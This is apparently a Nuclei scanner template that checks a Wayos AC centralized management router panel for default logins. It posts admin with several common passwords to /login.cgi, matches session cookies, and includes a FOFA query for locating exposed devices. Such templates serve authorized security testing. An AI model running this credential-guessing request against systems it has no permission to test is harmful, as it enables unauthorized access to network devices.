id: ac-default-login

info:
  name: AC Centralized Management System - Default password
  author: SleepingBag945
  severity: high
  description: |
    AC Centralized Management System default login credentials were discovered.
  reference:
    - https://github.com/Ershu1/2021_Hvv/blob/main/Wayos%20AC%E9%9B%86%E4%B8%AD%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%E5%BC%B1%E5%8F%A3%E4%BB%A4.md
    - https://github.com/chaitin/xray/blob/master/pocs/secnet-ac-default-password.yml
  metadata:
    verified: "true"
    max-request: 1
    fofa-query: 'title="安网科技-智能路由系统"'
  tags: ways-ac,default-login

http:
  - raw:
      - |
        POST /login.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&password={{ password }}&Submit=%E7%99%BB%E5%BD%95

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - admin
        - 123456
        - 12345678
        - password
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "ac_userid=admin"
          - "ac_passwd="
        condition: and

      - type: word
        part: body
        words:
          - "window.open"
          - "text/javascript"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022027016b28b05622d34ff31f41be70db5ab9713c080c6c16d0442f508953c0f8a6022100b1b884e382c75d85ca53fef4be61782a30ff94e6bc768ba0314077af54c70866:922c64590222798bb761d5b6d8e72950